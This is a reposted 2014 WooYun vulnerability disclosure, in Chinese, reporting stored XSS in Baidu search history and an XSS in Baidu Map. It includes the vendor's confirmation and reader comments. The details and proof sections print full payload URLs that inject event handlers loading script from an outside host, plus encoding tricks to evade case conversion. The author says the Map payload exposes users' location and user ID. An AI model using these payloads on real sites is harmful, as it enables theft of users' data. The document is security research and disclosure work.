百度搜索存储型XSS漏洞

admin 2015年5月30日07:04:13评论428 views字数 205阅读0分41秒阅读模式
摘要

2014-08-25: 细节已通知厂商并且等待厂商处理中
2014-08-25: 厂商已经确认,细节仅向厂商公开
2014-09-04: 细节向核心白帽子及相关领域专家公开
2014-09-14: 细节向普通白帽子公开
2014-09-24: 细节向实习白帽子公开
2014-10-09: 细节向公众公开

漏洞概要 关注数(29) 关注此漏洞

缺陷编号: WooYun-2014-73801

漏洞标题: 百度搜索存储型XSS漏洞

相关厂商: 百度

漏洞作者: q601333824

提交时间: 2014-08-25 17:37

公开时间: 2014-10-09 17:38

漏洞类型: XSS 跨站脚本攻击

危害等级: 低

自评Rank: 3

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 存储型xss

2人收藏


漏洞详情

披露状态:

2014-08-25: 细节已通知厂商并且等待厂商处理中
2014-08-25: 厂商已经确认,细节仅向厂商公开
2014-09-04: 细节向核心白帽子及相关领域专家公开
2014-09-14: 细节向普通白帽子公开
2014-09-24: 细节向实习白帽子公开
2014-10-09: 细节向公众公开

简要描述:

百度搜索存储型XSS漏洞

详细说明:

1.在百度搜索的东西,会在百度个人中心留下搜索历史记录

2.所以我在百度搜索

code 区域
http://www.baidu.com/s?wd=%22onmouseover =%22var%20s=document.create%26%2369%3blement('script');s.src='http://fripside.sinaapp.com/';document.body.append%26%2367%3bhild(s);%22

3.在个人中心会留下记录,会出现XSS漏洞,如图

百度搜索存储型XSS漏洞

4.上面连接,会把大写字母转换到小写字母,控制台会报错,如图

百度搜索存储型XSS漏洞

5.因为下面图上两个本来应该大写的字母变成小写字母了

百度搜索存储型XSS漏洞

6.所以要把大写B和大写C,转码之就不会报错了

code 区域
B → B → %26%2366%3b
code 区域
C → C → %26%2367%3b

-----------------------------------------------------------------------------------

7.这个是self XSS吗??百度搜索每天用的人那么多,如果乱七八糟的网站,强制你搜索这段代码,就不是跨自己了.如果网站这样呢,如图

百度搜索存储型XSS漏洞

------------------------------------------------------------------------------------------

8.这里顺便也提交个百度地图另外一边的XSS漏洞,就不会废话了,直接上连接

code 区域
http://map.baidu.com/?newmap=1&shareurl=1&l=15&tn=B_NORMAL_MAP&c=13376526,3516728&i=0,1,1&s=bt%26bttp%3D0%26c%3D179%26sy%3D0%26en%3D1%24%24d506b2fea993829688b988e8%24%2413373701.000000%2C3516044.000000%24%24%E8%A5%BF%E6%B9%96%E5%8C%BA'onmouseover%253d%22var%20e%253ddocument.createElement('script');e.setAttribute('src','http://fripside.sinaapp.com/aaaaaa.js');document.body.appendChild(e)%22style%253d%22font-size:999px;cursor:%20default%20!important;%24%24%24%24%24%24%26sn%3D1%24%24f9fd6062990a5b1e0f0e6be9%24%2413379295.000000%2C3516515.000000%24%24%E5%8F%8C%E7%89%9B%E5%A4%A7%E5%8E%A6%24%24%24%24%24%24%26sq%3D%E8%A5%BF%E6%B9%96%E5%8C%BA%26eq%3D%E5%8F%8C%E7%89%9B%E5%A4%A7%E5%8E%A6%26exptype%3Ddep%26exptime%3D2014-08-23%2004%3A10%26version%3D5

9.访问之后把鼠标移到左边就会获取地理位置和用户ID

百度搜索存储型XSS漏洞

漏洞证明:

1.百度个人中心XSS代码

code 区域
http://www.baidu.com/s?wd=%22onmouseover =%22var%20s=document.create%26%2369%3blement('script');s.src='http://fripside.sinaapp.com/';document.body.append%26%2367%3bhild(s);%22

百度搜索存储型XSS漏洞

2.百度地图XSS

code 区域
http://map.baidu.com/?newmap=1&shareurl=1&l=15&tn=B_NORMAL_MAP&c=13376526,3516728&i=0,1,1&s=bt%26bttp%3D0%26c%3D179%26sy%3D0%26en%3D1%24%24d506b2fea993829688b988e8%24%2413373701.000000%2C3516044.000000%24%24%E8%A5%BF%E6%B9%96%E5%8C%BA'onmouseover%253d%22var%20e%253ddocument.createElement('script');e.setAttribute('src','http://fripside.sinaapp.com/aaaaaa.js');document.body.appendChild(e)%22style%253d%22font-size:999px;cursor:%20default%20!important;%24%24%24%24%24%24%26sn%3D1%24%24f9fd6062990a5b1e0f0e6be9%24%2413379295.000000%2C3516515.000000%24%24%E5%8F%8C%E7%89%9B%E5%A4%A7%E5%8E%A6%24%24%24%24%24%24%26sq%3D%E8%A5%BF%E6%B9%96%E5%8C%BA%26eq%3D%E5%8F%8C%E7%89%9B%E5%A4%A7%E5%8E%A6%26exptype%3Ddep%26exptime%3D2014-08-23%2004%3A10%26version%3D5

百度搜索存储型XSS漏洞

修复方案:

百度个人中心虽然无法获取到cook,但是可以获取用户的搜索历史记录,百度地图虽然获取不到cook,但是可以获取ID对应所在地点

1.百度个人中心因为双引号被过滤,百度地图因为单引号没过滤,百度地图,前两次修复,只是修复了输出点,不是我吹牛,治标不治本,过滤方式会导致出现同样的问题

版权声明:转载请注明来源 q601333824@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2014-08-25 21:52

厂商回复:

感谢提交,我们已联系业务部门处理此问题。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2014-08-25 17:56 | xsser 百度搜索存储型XSS漏洞 ( 普通白帽子 | Rank:297 漏洞数:17 | 当我又回首一切,这个世界会好吗?)

    0

    你关注的白帽子 q601333824 发表了漏洞 百度搜索存储型XSS漏洞

  2. 2014-08-25 18:01 | 浩天 百度搜索存储型XSS漏洞 ( 普通白帽子 | Rank:925 漏洞数:80 | 哈!躁起来!)

    0

    你关注的白帽子 q601333824 发表了漏洞 百度搜索存储型XSS漏洞

  3. 2014-08-26 08:51 | 233 ( 路人 | Rank:14 漏洞数:4 | 小孩子看了根本把持不住)

    0

    你关注的白帽子 q601333824 发表了漏洞 百度搜索存储型XSS漏洞

  4. 2014-08-29 08:04 | 天际 ( 路人 | Rank:3 漏洞数:1 | 我只是在打酱油)

    0

    你关注的白帽子 q601333824 发表了漏洞 百度搜索存储型XSS漏洞

  5. 2014-10-02 21:28 | 老和尚 ( 普通白帽子 | Rank:223 漏洞数:45 )

    0

    你email多少?

  6. 2014-10-09 18:26 | 鱼化石 ( 实习白帽子 | Rank:93 漏洞数:18 | 介绍不能为空)

    0

    表示没处理掉

  7. 2014-10-09 18:30 | q601333824 ( 普通白帽子 | Rank:277 漏洞数:58 | 出自《狐妖小红娘》---自古人妖生死恋,千...)

    0

    @鱼化石 后来用新号查看,那个功能是关闭状态,没开的,毕竟有点鸡肋,记录浏览记录的功能感觉没多少人用

  8. 2014-10-09 20:24 | 大漠長河 ( 实习白帽子 | Rank:66 漏洞数:10 | ̷̸̨̀͒̏̃ͦ̈́̾( 天龙源景区枫叶正...)

    0

    @q601333824 漠漠开着那 学习了 有价值

  9. 2014-10-10 00:36 | 苍崎深雪 ( 路人 | Rank:3 漏洞数:2 | 微光)

    0

    我看到了fripSide!

  10. 2014-10-11 09:13 | 香草 ( 普通白帽子 | Rank:103 漏洞数:15 | javascript,xss,jsp、aspx)

    0

    地图这个有点意思,可以定位

  11. 2014-10-25 21:20 | 大漠長河 ( 实习白帽子 | Rank:66 漏洞数:10 | ̷̸̨̀͒̏̃ͦ̈́̾( 天龙源景区枫叶正...)

    0

    拿走 学习用

  12. 2015-04-26 15:16 | 昌维 ( 路人 | Rank:15 漏洞数:4 | QQ:867597730,百度贴吧ID:昌维001 个人...)

    0

    问题是有多少人会去闲的没事看自己的搜索记录。=_=

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin